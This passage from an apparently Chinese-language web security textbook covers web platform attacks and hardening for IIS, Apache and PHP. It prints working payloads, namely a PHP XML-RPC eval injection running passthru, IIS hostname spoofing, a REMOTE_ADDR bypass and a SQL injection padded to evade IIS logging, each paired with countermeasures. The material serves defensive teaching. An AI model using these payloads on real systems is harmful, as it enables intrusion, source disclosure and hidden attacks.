POST /phpAdsNew/adxmlrpc.php HTTP/1.0
Host: localhost
Content-Type: application/xml
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Content-Length: 162
Connection: Close
<?xml version="1.0"?><methodCall><methodName>junkname</
methodName><params><param><name>');passthru("dir");//</name><value>junk</
value></param></params></methodCall>

脆弱的服务器按照攻击者的指示，会响应目录列表：

HTTP/1.1 200 OK
Connection: close
Content-Type: text/html
Cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
X-Powered-By: PHP/4.4.0
Server: Srv/4.0.0.4033
      Volume in drive C has no label.
      Volume Serial Number is 98C0-5EE5
      Directory of C:\Apache\docs\phpAdsNew
11/11/2010 12:11 PM <DIR> .
11/11/2010 12:11 PM <DIR> ..
01/13/2010 04:43 PM          6,166 adclick.php
03/14/2010 10:27 AM          3,280 adcontent.php
03/14/2010 10:12 AM          5,077 adframe.php
01/13/2010 04:43 PM          ,251 adimage.php
03/08/2010 12:14 AM          4,435 adjs.php
01/13/2010 04:43 PM          6,250 adlayer.php
01/13/2010 04:43 PM          4,122 adlog.php
11/11/2010 12:11 PM <DIR> admin
01/13/2010 04:43 PM          8,618 adpopup.php
01/13/2010 04:43 PM          9,877 adview.php
10/09/2010 07:39 PM          73 adx.js
01/13/2010 04:43 PM 5,867 adxmlrpc.php
11/11/2010 12:11 PM <DIR>    cache
11/11/2010 12:11 PM <DIR> client
11/10/2010 03:57 PM 6,706 config.inc.php
01/13/2010 04:43 PM 1,144 index.php
11/11/2010 12:11 PM <DIR> language
11/11/2010 12:11 PM <DIR>    libraries
10/29/2010 10:01 PM 15,515 LICENSE
11/11/2010 12:11 PM <DIR> maintenance
11/11/2010 12:11 PM <DIR> misc
01/13/2010 04:43 PM 2,254 phpadsnew.inc.php
03/15/2010 11:20 AM 5,273 README
      16 File(s) 87,908 bytes
      9 Dir(s) 10,690,588,672 bytes free
<?xml version="1.0"?>
<methodResponse>
<fault>
      <value>
        <struct>
            <member>
               <name>faultCode</name>
                <value><int>1</int></value>
            </member>
            <member>
              <name>faultString</name>
               <value><string>Unknown method</string></value>
            </member>
        </struct>
      </value>
</fault>
</methodResponse>

可以看到，这种攻击非常简单而有效。查看代码，以便更仔细地观察这个问题的实际原理。这个安全问题位于程序库自带的lib-xmlrpcs.inc.php文件中的一段代码。这段代码在parseRequest()函数中：

// now add parameters in
$plist="";
for($i=0; $i<sizeof($_xh[$parser]['params']); $i++) {
      $plist.="$i - " . $_xh[$parser]['params'][$i]. " \n";
       eval('$m->addParam(' . $_xh[$parser]['params'][$i]. ");");
}

这个函数取XML请求中定义的所有参数，将其嵌入到eval()函数。文本中粗体的部分是用户输入提供的参数名。注入通过一个引号脱离该字符串的参数名，攻击者可以执行其PHP代码。在这个例子中，我们只要在参数名插入参数名称'，''));phpinfo();/*，使得代码类似于下面的示例，就可以运行phpinfo()函数，其他PHP代码将被注释掉：

eval('$m->addParam('','')); phpinfo();/*

PEAR/PHP XML-RPC对策

PHP XML-RPC和PEAR XML-RPC都发行了消除这一漏洞的补丁版本。对于PHP XML-RPC，更新到1.2或者更高版本，对于PEAR XML-RPC，更新到1.43或更高版本。获得这些补丁的地址在本章结尾处的“参考与延伸阅读”小节。

远程IIS 5.x和IIS 6.0服务器名欺骗

如果你仔细查看这个漏洞，就会发现它的影响相当大，但是它却逃脱了大部分人的视线。这个问题最初公布时说明了攻击者可以访问ASP代码的各个部分，但是更深入地研究之后，这种攻击能使攻击者具备对编码质量不佳的应用进行主机名欺骗的能力。我们来更仔细地看看它的工作原理。

问题出在用ASP或.NET开发Web应用之时，开发人员此时必须访问应用所在的Web服务器的IP地址。许多开发者将会进行下列的调用，以便获得应用所运行的Web服务器的主机名或IP地址：

Request.ServerVariables("SERVER_NAME") (ASP)
Request.ServerVariables["SERVER_NAME"] (.NET)

这些调用返回局部环境变量的“SERVER_NAME”值。如果请求从互联网发起，这个变量的值通常是Web服务器的IP地址。如果请求来自实际的Web服务器，该变量的值是“localhost”。表3-1中总结了这种表现。

表3-1　SERVER_NAME变量值取决于请求来源

开发人员往往使用这个功能检查请求是否来自于本地主机，如果请求来自本地主机，就开启某种级别的受限功能。例如，开发人员将使用这种方法阻止对管理页面的请求，除非请求来自本地主机。

这种特殊漏洞源自于Microsoft使用这种方法处理错误文件的方式。默认情况下，所有IIS安装都有包含默认IIS错误信息的IISHelp目录。默认情况下，500-100错误代码指向“/iishelp/common/500-100.asp”页面。因此，对于发生在IIS服务器的500错误，IIS将使用这个页面作为回显给用户的响应模板。这种表现对于VBScript和数据库错误来说是很常见的。

为了确定错误是否显示给本地用户，Microsoft IIS 5.x上的500-100.asp使用Request.ServerVariables（"SERVER_NAME"）API。如果显示，错误页面转储揭示错误发生的准确位置的源代码。如果客户不是本地的，则显示通用错误页面，如图3-5所示。

漏洞是“SERVER_NAME”变量可以通过指定Host:首部或者GET http://spoof/file.asp URL中的值覆盖。例如，用这个请求将自己标识为localhost：

GET http://localhost/product_detail.asp?id=a HTTP/1.0
Host: 192.168.1.1

现在我们接收到下图中的响应。

图3-5　从互联网客户端看，常规的IIS错误信息显示通用信息

注意，这次我们接收到与错误信息相伴的源代码。但是这种信息本身没有给人留下很深的印象，我们喜欢的是这个漏洞的神奇和潜力。这不是缓冲区溢出或者路径遍历攻击，但是如果你坐下来想一想这个漏洞的可能影响，就会发现它是相当吸引人的。我们可以看到在多主机的情况下，开发人员可能使用这个变量限制访问某些站点。实际上，我们最近有机会利用这个问题，发现如果我们作为localhost，就能够访问开发人员管理页面，可以查看与此网站相关的所有调试信息。谢谢开发人员！

这种欺骗攻击令人想起常常会看到的一个紧密相关的开发问题。使用ASP和.NET时，许多开发人员使用下面这种调用取得用户输入：

Username = Request["username"]

让我们更仔细地观察一下。要确定用户是来自于本地主机或者特定IP地址，正确方式是检查“REMOTE_ADDR”服务器变量。这会告诉你客户端IP地址。因此开发人员可能会在代码中添加下面这一行：

if(Request["REMOTE_ADDR"] == "127.0.0.1")

从而将用户愉快地送到管理页面。这行代码只当它提供服务器变量的正确值时才能正常工作。但是如果你聪明的话，就能很容易发现用户可以在URL上指定该值而绕过这一校验：

http://www.site.com/auth.aspx?REMOTE_ADDR=127.0.0.1

这一欺骗因为IIS处理输入的顺序而成功。IIS首先在查询集合中寻找REMOTE_ADDR、然后在传递的数据中，之后是cookie，最后才是服务器变量。因为检查变量首先从查询开始，用户提供的数据始终优先于服务器变量。因为这种错误而存在漏洞的网站数量多得令人吃惊。

远程IIS 5.x和IIS 6.0服务器名欺骗对策

这个问题的对策是不要在任何类型的主机名或者IP地址校验中使用“SERVER_NAME”变量。作为替代，应当正确地使用“REMOTE_ADDR”：

Request.ServerVariables["REMOTE_ADDR"]

这将正确而安全地获得客户端远程地址。好的做法是访问任何服务器变量时都使用Request.ServerVariables[]。

3.3　逃避检测

并不是所有Web平台问题都会导致直接的攻击。对于不建立闯入Web服务器的直接途径，而是模糊对攻击者的检测的Web平台来说，日志逃避是典型的例子。接下来，我们将介绍这种问题的两个示例，可以使攻击者绕开正确的请求记录。

使用长URL的日志逃避

有些Web服务器软件不能记录超过特定字符数的URI数据。例如，Sun-One应用服务器只能记录请求URI的前4042个字符。Microsoft IIS在查询字符串或者首部值超过4097个字符时也有同样的问题。这种限制用于避免攻击者利用日志洪泛进行DoS攻击，但是攻击者现在已经利用这一功能获得好处。让我们看看IIS的例子，更详细地阐述这个功能如何被攻击者利用从而在Web日志中掩盖他们的存在。

在写入Web日志时，IIS在查询串长度超过4097个字符时自动地用省略号“...”截断。这使得攻击者可以创建一个填充到4097字符的虚假查询，并在最后附加攻击。Web服务器仍然正确地处理该请求并抛弃虚假的参数，使得攻击成功，但是将不会记录该请求。

我们来看一个使用日志逃避掩盖对IIS的SQL注入攻击的具体示例。这种攻击如果通过查询串进行（如下面的示例），很容易在Web日志中发现。

GET /article.asp?id=convert(int,(select+top+1+name+from+sysobjects+
where+xtype='u')) HTTP/1.0
Connection: Close
Host: www.site.com
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;
.NET CLR 1.1.4322)

Web服务器正常响应，日志项如下：

2005-10-04 22:10:24 127.0.0.1 - 127.0.0.1 80 GET /product_detail.asp
id=convert(int,(select+top+1+name+from+sysobjects+where+xtype='u'))|
170|80040e07
|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Syntax_error_converting_the_nvar
char_value_'tbl_Globals'_to_a_column_of_data_type_int. 500 4910 561
Mozilla/5.0+(Windows;+U;+Windows+NT+5.1;+enUS;+rv:1.7.10)+Gecko/
20050716+Firefox/1.0.6

你可以清楚地从示例中的粗体文本看到，发生了SQL注入攻击，响应中返回数据库错误。这时，很容易通过解析IIS日志中返回给用户的SQL数据库错误或者请求中使用的SQL关键字，发现某人试图对应用进行SQL注入。

现在我们来看看隐藏在用于逃避IIS日志检测的长URI中的相同请求。我们使用同样的攻击请求，带上用于填充日志缓冲的虚假参数foo：

GET /product_detail.asp?id=convert(int,(select+top+1+name+from+sysobjects+where+xtyp
e='u'))&foo=<4097 a's> HTTP/1.0
Host: localhost
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)

因为foo参数是虚假的，Web应用忽略它，攻击成功执行。日志文件记录如下的请求：

2005-10-04 22:31:01 127.0.0.1 - 127.0.0.1 80 GET /product_detail.asp ...
500 4965 4287 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) - -

注意，查询字符串现在被替换为“...”，没有记录响应中的任何错误文本。攻击者可以继续进行相似的参数欺骗而不会被记录。

用TRACK掩盖请求

TRACK是仅由IIS支持的HTTP方法，作用与TRACE方法完全相同。对TRACK请求的响应是重复所发送的请求。

下面是一个示例：

TRACK / HTTP/1.1
Host: www.site.com
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.x
Date: Tue, 04 Oct 2005 23:07:12 GMT
X-Powered-By: ASP.NET
Content-Type: message/http
Content-Length: 102
TRACK / HTTP/1.1
Host: www.site.com
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)

在Microsoft IIS 5.x中，Web服务器对所有TRACK请求都不予记录。这个请求本身不是非常危险，也不能用于读取页面或者提交攻击，但是可以用于DoS攻击。

我们在调查一位客户的Web服务器的异常表现时体验了TRACK的使用。这台服务器的CPU占用率很高，机器反应迟钝。在网络上投放嗅探器之后，我们注意到尽管HTTP流量极高，但是Web日志中不包含嗅探器发现的许多请求的记录。在更详细地使用嗅探器观察Web请求之后，我们注意到许多危害该服务器的TRACK/<long URL>HTTP/1.0请求在日志中没有记录。

注意　TRACK请求也是对Web服务器进行DoS攻击而又不填充日志的狡诈手段。

IIS日志逃避对策

好的解决方案之一是使用UrlScan避免这些问题。默认情况下，安装UrlScan时，MaxQueryString=2048设置将有效阻止长URL逃避方法。在UrlScan 2.5中有一个LogLongUrls选项。开启这个选项，UrlScan将记录长达128K的请求，这能在日志中看到任何攻击。UrlScan也用于拒绝TRACK或TRACE方法。好的经验法则是拒绝除了HEAD、GET和POST之外的任何请求方法。

3.4　Web平台安全最佳实践

在本章中，我们已经介绍了多种Web平台攻击和对策，但是我们首先要承认，编写所有Web平台攻击的完备目录是不可能的。本节致力于总结全面加固Web平台的最重要的建议，以及目前最流行的Web平台IIS、Apache和PHP上的具体信息。如果在你的在线环境中部署了这些技术，那么可以确信你已经覆盖了所有基础部分。

提示　我们所总结的Web安全检查列表也可参见附录A。

3.4.1　通用的最佳实践

下面的建议适用于任何Web平台，不管是通用的还是定制的。

在两个方向上都实施积极的网络访问控制！

我们希望在互联网发展到如此地步的时候，不需要再强调对Web服务器入站通信实施强有力的防火墙的必要性。TCP端口80（如果实施SSL/TLS则是443）是你在入站方向上向一般观众开放的唯一端口（显然，特定的用户团体需要用于内容管理、服务器管理等其他端口的特殊访问）。

尽管入站过滤已经得到广泛认可，但是忽略出站访问控制仍是一个常见的错误。攻击者在获得Web服务器上任何命令的运行能力时，首先要做的事情之一是“挖出”一个外向的Shell，或者建立一个出站连接，用于向受害机器上传更多的文件。使用Web服务器前的防火墙上合适的出站过滤可以阻止这些请求，显著地提高攻击者的门槛。最简单的规则是拒绝除了已经建立的连接之外的所有出站连接，这可以通过阻止所有仅带有TCP SYN标志的数据包来实现。这不会阻止合法入站请求的响应，服务器仍然能接受外部访问（你的入站过滤也很严格，对吗？）。

很重要的一点是，高级的攻击者可能能够阻止合法的出站连接，绕过出站过滤。但是，在我们的经验中，这实际上是很困难的，建立严格的出站访问控制仍然是Web服务器上能够实现的最重要的防御层。

应用最新的安全补丁

维护强壮和安全的Web平台的最有效方法是保证系统具备最新的安全补丁。这没有捷径：你必须持续地为平台和应用打上补丁。尽管你可以采取许多其他的步骤来更好地加固系统抵御攻击，但是在安全更新公布时应用到你的系统中是你所能做的最重要的事情。我们建议使用自动补丁工具如Microsoft Update服务来帮助保证最新的补丁。对于Apache，我们建议简单地订阅Apache公告列表，在新版本公布时通知你，这样就可以进行升级（链接参见本章结尾处的“参考与延伸阅读”）。

不要在源代码中放入私有数据

如果你培训开发团队不要犯这个经典的错误，就不需要对黑客广为传播的最新和最大的源代码泄露问题太过担心。最常见的一些错误包括：

·ASP脚本中的明文SQL连接串：用SQL集成安全或者二进制COM对象代替。

·在应用配置文件中使用明文密码：始终避免在global.asa或web.config等应用配置文件中的明文密码。考虑使用Microsoft DPAPI。

·使用带有.inc扩展名的包含文件：将包含文件改名为.asp、.php或者对你的Web应用平台来说合适的扩展名。

·脚本中包含私有信息如电子邮件地址、目录结构信息和密码的注释：不要编写易受攻击的文档。确保删除可能用来针对你的Web平台和应用信息。

定期扫描网络中的脆弱服务器

避免这些危害的最佳机制是定期扫描可能引发这些危害的漏洞。有许多非常有用的Web应用评估产品，如HP WebInspect和Watchfire AppScan。这些产品都能很好地识别Web平台、应用和配置漏洞。

提示　自动化Web安全评估工具的评论参见第10章。

了解遭到攻击的迹象

你总是希望像对待预防一样严肃地对待事故响应——对于脆弱的Web服务器尤其如此。为了了解你的服务器是否已经成为攻击的受害者，我们建议完成后述的规定调查活动，包括后述的经典技术。

在被侵害的Web服务器上使用netstat实用程序是识别奇怪的出入站连接的一种方法。正如我们所看到的，这些连接有时可能是实例化后续的漏洞利用的流氓shell。出站连接使得区分敌意连接和合法链接更加困难。

提示　在Windows XP及更新的版本中，netstat命令修改为显示使用TCP/IP端口的程序——使用-o开关。

另一个好的调查点是文件系统。许多固定的攻击在互联网上流行。这些攻击的许多相关文件最初由认真的安全研究人员公布，常常被“脚本小孩”重用。例如，IIS上的Sensepost.exe、Upload.asp、Upload.inc和Cmdasp.asp常被用于在系统上设置后门。特别要注意可写/可执行目录如IIS/scripts中未授权的文件。其他常见的IIS攻击常常利用如下文件：

你还应该考虑安装文件系统监控工具如Tripwire，它能在Web服务器上出现任何新的未授权文件时警告你。

最后，也可能是最明显的，Web服务器日常常常是第一个显示未授权活动的地方（除非攻击者实施了前面讨论过的日志逃避技术）。将分析日志文件作为标准操作程序的一部分常常能帮助你检测攻击和入侵。我们知道即使定期监控中等大小的Web服务器场的日志和文件系统也需要巨大的工作量，但是希望这些提示能在你已经发现服务器可能已经遭到入侵时对你有帮助。

3.4.2　IIS加固

下面是我们首选的强化IIS安全、对抗常见攻击的技术：

·关闭可能为攻击者提供太多信息的详细错误信息

·正确放置Web文件夹

·消除无用的扩展映射

·明智地使用文件系统访问控制列表

我们将在接下来的小节中详细讨论这样一些技术。

关闭IIS详细错误信息

详细错误信息绝不应该在生产服务器上启用。它们只能给攻击者过多可能用于对付你的信息。你应该参考Microsoft TechNet关于如何在你的IIS版本上禁用详细错误信息的指南。

在系统驱动器之外的驱动器上安装Web文件夹

过去，目录遍历攻击在IIS平台上相当常见（过去的公告链接参见“参考与延伸阅读”小节）。目前，这类攻击已经受到不允许跨卷跳转的URL语法的限制。因此，通过将IIS Web根目录移到没有强大工具（如cmd.exe）的卷，这种攻击已不可行。

当你将Web根目录迁移到新驱动器时，要确保所有文件系统ACL的完整性。在Windows服务器上，如果你不这么做，目标文件夹的ACL将被设置为默认值：每个人都有完全控制权限！Windows服务器资源工具箱（Server Resource Kit）中的Robocopy工具是移动具备完整ACL的Windows文件和文件夹的便利工具。Robocopy/SEC开关是需要考虑的重要参数。

删除无用的扩展映射

多年以来，围绕被称作ISAPI DLL的IIS扩展出现了许多安全问题。这些问题包括.printer缓冲区溢出和+.htr源代码泄露Bug。所有这些Bug都存在于应该通过删除DLL应用映射禁用的ISAPI DLL中。你还有一个选择，就是删除实际的.dll文件。删除应用映射时，这些DLL在启动期间不会被装入IIS进程。这样一来，这些漏洞就不会遭到攻击。

随着IIS 6及后续版本的发行，Microsoft默认禁用所有扩展。如果你使用Microsoft产品，这一改进和IIS 6以来许多其他安全改进使我们在部署IIS作为Web平台时的建议减少到最低限度。好的做法是遵循Microsoft的IIS指引，并与你的开发团队协作确定必要的扩展，并禁用其他所有扩展。

使用UrlScan

较新版本的UrlScan（本书编写时是版本3.1）允许管理员定义过滤规则，用于阻止有害的HTTP请求到达Web服务器。UrlScan不仅可以用于过滤URI，也可以过滤查询串和HTTP首部。尽管UrlScan是阻止攻击字符串的有用工具，但是不能代替开发过程中对应用漏洞的识别和修复，我们将在第10章对此加以讨论。

始终在Web服务器卷上使用NTFS并且保守地设置ACL！

使用FAT和FAT32文件系统，文件和目录级访问控制是不可能的；结果是，IUSR账户就成了读取和上传文件的全权委托书。在可以Web访问的NTFS目录上配置访问控制时，要使用最小权限原则。IIS 5及以上版本还提供了IIS权限向导，指导你完成基于场景的ACL设置过程。我们强烈建议你使用这个向导。

移动、改名、删除或者限制任何强大的实用程序

Microsoft建议将cmd.exe和多个其他强大的可执行文件的NTFS ACL设置为仅管理员和SYSTEM账户有完全控制权。Microsoft已经公开说明，这种简单的技巧能够阻止大部分远程命令执行的诡计，因为IUSR不再有访问cmd.exe的权限。Microsoft还建议使用内建的CACLS工具全面设置这些权限。我们来演示一个CACLS用于设置系统目录中可执行文件权限的示例。因为系统文件夹中的可执行文件太多，对我们来说，研究一个将文件移动到带有子文件夹test2的新文件夹test1的示例更简单一些。采用仅显示模式使用CACLS，我们可以看到测试文件的现有权限太宽松：

C:\cacls test1 /T
C:\test1 Everyone:(OI)(CI)F
C:\test1\test1.exe Everyone:F
C:\test1\test1.txt Everyone:F
C:\test1\test2 Everyone:(OI)(CI)F
C:\test1\test2\test2.exe Everyone:F
C:\test1\test2\test2.txt Everyone:F

我们假定你希望将test1中所有可执行文件的权限改为系统账户和管理员完全控制。下面是你所需要的CACLS命令语法：

C:\cacls test1\*.exe /T /G System:F Administrators:F
Are you sure (Y/N)?y
processed file: C:\test1\test1.exe
processed file: C:\test1\test2\test2.exe

现在再次运行CACLS确认结果。注意，所有子目录中的.txt文件具有原来的权限，但是可执行文件现在已适当设置：

C:\cacls test1 /T
C:\test1 Everyone:(OI)(CI)F
C:\test1\test1.exe NT AUTHORITY\SYSTEM:F
BUILTIN\Administrators:F
C:\test1\test1.txt Everyone:F
C:\test1\test2 Everyone:(OI)(CI)F
C:\test1\test2\test2.exe NT AUTHORITY\SYSTEM:F
BUILTIN\Administrators:F
C:\test1\test2\test2.txt Everyone:F

将这个示例应用到典型的Web服务器，将%systemroot%目录中的所有可执行文件设置为系统账户和管理员完全控制是一种好的做法，如：

C:\cacls %systemroot%\*.exe /T /G System:F Administrators:F

这样就阻止了非管理用户访问这些可执行文件，帮助避免像Unicode这样的攻击，它们严重依赖对这些程序的非特权访问。

当然，这些可执行文件也可以移动、改名或者删除，进一步阻止黑客的访问。

从服务器上的写入和执行ACL中删除Everyone和Guests组

匿名IIS访问账户IUSR_机器名和IWAM_机器名是这些组的成员。你要多加小心，IUSR和IWAM账户对系统上的任何文件或者目录不能有写入的权限——你已经目睹了可写的目录所导致的恶作剧！还有，对于非特权组的执行权限要仔细审查。特别要确定，不要允许任何非特权用户同时有相同目录的写入和执行权限！

详细审查并删除现有ISAPI应用对RevertToSelf的调用

老版本的IIS很容易遭到针对RevertToSelf Win32编程调用的权限提升攻击。通过实例化进行这一调用的现有DLL，攻击者能够破坏它以获得全能的LocalSystem特权。IIS 5和更旧的版本是主要的考虑对象，而运行于兼容模式的版本6也容易遭受攻击。你可以评估IIS DLL的RevertToSelf调用，避免它被用于权限提升。使用包含在许多Win32开发人员工具中的Dumpbin工具帮助你完成这一工作，下面是使用IsapiExt.dll的一个示例：

dumpbin /imports IsapiExt.dll | find "RevertToSelf"

3.4.3　Apache加固

Apache本身相当安全，而且Apache集团很擅长快速修复大部分安全问题。但是，在现实世界中当你开始使用Apache，并且在其上使用真实的Web应用，Apache的安全就开始变得相当复杂。

实际上，在观察Apache的所有配置方式以及错误配置的方式时，加强Apache安全甚至了解所有加强安全的正确方法都变得令人畏惧。我们已经编写了一个应该在任何Apache服务器上进行以便正确加固服务器的措施列表，这些措施被看作是最重要的安全基础。这个列表绝不是全面或者完整的，可能根据服务器的用途而有所不同。幸运的是，有大量的自动化脚本、工具和文档可以帮助你建立一个恰当的Apache安全配置。这些可以在本章结尾处找到。

禁用不需要的模块

安装Apache时需要考虑的最重要的问题之一是Web服务器需要什么类型的功能。例如，将要运行的是PHP脚本还是Perl脚本？“服务器端包含”是否用于Web服务器上运行的应用？一旦能够创建所需功能的列表，就可以启用相关的模块。你可以使用httpd读取所有启用模块的一个列表：

# httpd -l
Compiled-in modules:
http_core.c
mod_env.c
mod_log_config.c
mod_mime.c
mod_negotiation.c
mod_status.c
mod_include.c
mod_autoindex.c
mod_dir.c
mod_cgi.c
mod_asis.c
mod_imap.c
mod_actions.c
mod_userdir.c
mod_alias.c
mod_access.c
mod_auth.c
mod_so.c
mod_setenvif.c
mod_perl.c

为了禁用模块，要在编译之前使用配置脚本，并且传入所有应该禁用的模块。

·对于Apache 1.x./configure--disable-module=userdir

·对于Apache 2.x./configure--disable-userdir

注意　这个方法用于删除Apache的内建模块，不适用于动态模块。

表3-2中显示的模块可能是安全风险，建议在Apache配置中将其删除。

表3-2　可能成为安全风险的Apache模块，应该考虑删除

实施ModSecurity

ModSecurity是Ivan Ristic编写的一个Apache模块，是一个Web应用防火墙。它具有很强的灵活性，被认为是帮助Apache免遭应用和Web平台攻击的最佳项目之一。ModSecurity的一些功能如下：

·请求过滤

·防逃避技术

·HTTP过滤规则

·全面审计日志

·HTTPS拦截

·Chroot功能

·掩盖Web服务器标识

Apache Chrooting

安全的标准规则之一是实施纵深防御。当攻击者闯入一个Web服务器，首先做的一件事就是企图访问系统上的文件，如/etc/passwd，或者通过本地攻击来提升权限。为了避免这类攻击，创建了一种将Apache服务器放进一个包含环境（“监狱式”环境）的方法，这种方法称作Chrooting。试试这种方法，Apache在其自包含的文件系统内以有限的特权运行。如果攻击者获得文件系统的访问权，他们将被困在这个监狱式环境中，无法访问实际的文件系统。我们在这里要研究两种Apache Chrooting方法。

外部Chrooting

这种类型的Chrooting从一个除了基本外壳（Shell）之外不包含任何东西的文件系统入手。所有进程和所需的相关文件需要复制到这个环境中以便运行。这对于Apache来说是一种真正的控制方法，如果攻击者闯入外壳，他就无处可去。建立和配置这种监狱式环境的方法很复杂并且需要研究，取决于必须和Web应用一起运行的软件。建立这种环境的更多内容，请参见本章结尾处的“参考与延伸阅读”。

内部Chrooting

内部Chrooting与外部Chrooting的不同之处在于，内部Chrooting从Apache进程的内部建立。Apache启动并且正常初始化，然后为该进程创建一个Chroot。默认情况下，Apache不支持这种Chroot方法。但是，人们已经创建了使Apache支持这种方法的第三方附加软件：

·ModSecurity通过SecChrootDir配置支持一种Chroot环境。只需要将该值设置为你希望Apache被监禁的目录。

·ModChroot是一个与ModSecurity chroot工作方式相同的Apache模块，只要设置合适的ChrootDir就可以了。

·Arjan De Vet的Apache chroot（2）补丁是对Apache的修补，启用内部Chrooting支持。

实施SuExec

SuExec是一种执行包装器，可以使用默认Apache Web用户之外其他用户的特权运行CGI脚本。正确使用这一方法能帮助实现最小特权原则，这是建立Web服务器“纵深防御”的重要元素。我们来看看SuExec提供最小特权的一个实例。

多宿主环境使每个虚拟主机网站能够上传和部署自己的脚本。如果不使用SuExec，任何漏洞，甚至是一个恶意的网站管理员都可以访问任何其他网站部署在该服务器上的内容。这是一个大问题，特别是如果你已经测试了网站并且采取了所有预防措施来加固代码安全，创建了好的安全Web配置，却发现网站因为其他虚拟网站的安全问题以及攻击者通过你不能控制的路由获得访问权而遭到入侵。现在你已经了解SuExec的重要性了。安装和配置SuExec有时候是个复杂而令人沮丧的过程。SuExec的配置非常严格，许多设置必须正确。我们建议使用Apache文档来完成这个过程，这可以在本章结尾的“参考与延伸阅读”中找到。

文档根限制

要确认Apache不能访问文档根之外的任何内容，这是一个重要的配置。这种类型的限制相当简单，可以用httpd.conf中的以下配置完成：

<Directory/>
order deny,allow
deny from all
</Directory>
<Directory /www/htdocs>
order allow,deny
allow from all
</Directory>

使用CIS的Apache Benchmark

手工排查和尝试加强Apache安全是沉闷的工作；幸运的是有互联网中心（CIS）的Apache Benchmark。他们制作了一个文档说明如何正确加固Apache，还生成一个工具检查配置并解释是否满足某些安全要求。下面简单说明使用这个工具检查Apache配置。

首先，从他们的网站下载该产品，将其解压到工作目录。运行benchmark.pl脚本并且指向你的httpd.conf文件：

./benchmark2.pl -c /etc/apache2/apache2.conf -o result.html
#=========[ CIS Apache Benchmark Scoring Tool 2.10 ]==========#
Score an Apache configuration file with the CIS Apache Benchmark.
Version: 2.10
Copyright 2003-2005, CISecurity. All rights reserved.
#=============================================================#
CIS Apache Benchmark requires answers to the following questions:
Press enter to continue.
Questions
---------------------------------------------
- Location of the Apache server binary [] /usr/sbin/apache2
- Has the Operating System been hardened according to any and all
applicable OS system security benchmark guidance? [yes|no]
- Created three dedicated web groups? [yes|no]
- Downloaded the Apache source and MD5 Checksums from httpd.apache
.org? [yes|no]
- Verified the Apache MD5 Checksums? [yes|no]
- Applied the current distribution patches? [yes|no]
- Compiled and installed Apache distribution? [yes|no]
- Is the webmaster@localhost address a valid email alias? [yes|no]
- Are fake CGI scripts used? [yes|no]
- Have you implemented any basic authentication access controls?
[yes|no]
- Updated the default apachectl start script's code to send alerts to
the appropriate personnel? [yes|no]

Benchmark询问一系列问题，对你的配置运行安全检查脚本，制作一个报告，指出需要修复的问题。接着你可以查询内含的Benchmark文档，了解每个问题的解决方法。

3.4.4　PHP最佳实践

我们讨论了一些流行PHP脚本平台的漏洞，下面是确保避免这些漏洞的一些技巧：

·在所有用户输入上应用严格的输入验证。

·保守地使用eval()、passthru()、system()和其他函数，不使用用户输入。

·关闭register_globals。

PHP的常见安全选项

下面的配置选项与安全相关，可以在php.ini文件中设置。使用这些设置确保你运行的PHP配置默认情况下的安全。

open_basedir

这个设置限制任何文件访问指向一个特定的目录。之后的所有文件操作被限制在所指定的位置。执行的任何文件操作应该在一个特定的目录集之内，这是很好的建议。这样一来，标准的“../../../../etc/passwd”哪里也去不了。

disable_functions

这个设置可以在PHP中禁用一组函数。禁用函数被看作是纵深防御的一个很好的方式。如果应用不使用具有安全风险的函数如eval()、passthru()、system()，那么应该始终不允许添加这些函数。如果攻击者在PHP代码中寻找到一个安全问题，会让你很头疼。

expose_php

将这个配置关闭将删除HTTP响应中Server首部中显示的PHP标志。如果你关心的是隐藏PHP版本或者PHP在应用中的运行，这个设置将会有所帮助。

display_errors

这个设置很简单，却很重要，允许异常时向用户显示详细的错误信息。在生产环境中这个设置应该始终关闭。

safe_mode

在PHP中开启safe_mode允许非常严格的文件访问权限。为此要检查正在运行的PHP脚本所有者的权限，以及脚本试图进行的任何访问。如果权限不匹配，PHP抛出一个安全异常。Safe_mode主要由ISP使用，这样在多宿主环境中，多个用户可以开发自己的PHP脚本而不会危及服务器的完整性。

allow_url_fopen

这个配置选项将会禁用远程文件的操作能力。这是阻止远程文件包含漏洞的很好的总体设置。下面是一个示例，如果以下代码示例中的$absolute_path变量被设置为http://www.site.com/，设置allow_url_fopen能使这一攻击失效。

include($absolute_path.'inc/adodb/adodb.inc.php');

3.5　小结

在本章中，你学习了许多主要Web平台漏洞的最佳防御手段，包含保持最新的安全补丁、禁用Web服务器上不必要的功能，以及对不可避免潜入你预先部署的验证过程的攻击者的不断扫描。记住，如果应用建立在充满安全漏洞的Web平台上，那么没有一个应用是安全的。

3.6　参考与延伸阅读

读累了记得休息一会哦~

公众号：古德猫宁李

电子书搜索下载

书单分享

书友学习交流

网站：沉金书屋 https://www.chenjin5.com

电子书搜索下载

电子书打包资源分享

学习资源分享

第4章　攻击Web验证

验证在Web应用安全中起着关键的作用，因为所有后续的安全决策一般都是基于已提供的凭据作出的。本章介绍常见Web安全机制的威胁，以及完全绕过验证控制的威胁。

4.1　Web验证威胁

我们在本小节中不太严格地围绕写作本书时Web上最盛行的验证类型展开讨论：

·用户名/密码：因其简单性，这是Web上最盛行的验证。

·（更）强验证：因为用户名/密码验证公认具有本质上的弱点，许多网站开始为用户提供更强的验证形式，包括基于令牌和证书的验证。

·验证服务：许多网站将验证外包给互联网服务，如Windows Live ID（以前称为Microsoft Passport）实施专有标识管理和验证协议，OpenID则是分散验证服务提供商的标准。本章对这两种服务都进行简单的介绍。

4.1.1　用户名/密码威胁

尽管实施基本的用户名/密码验证有许多种方式，但Web实现通常都成为相同攻击类型的猎物：

·用户名枚举

·密码猜测

·窃听

在这个小节，我们将讨论这些攻击类型以及最容易遭到它们攻击的常见Web验证协议。

注意　我们不提供本章列出的任何攻击的危险等级，因为这些都是一般的攻击类型，危险等级取决于攻击的特定实现。

用户名枚举

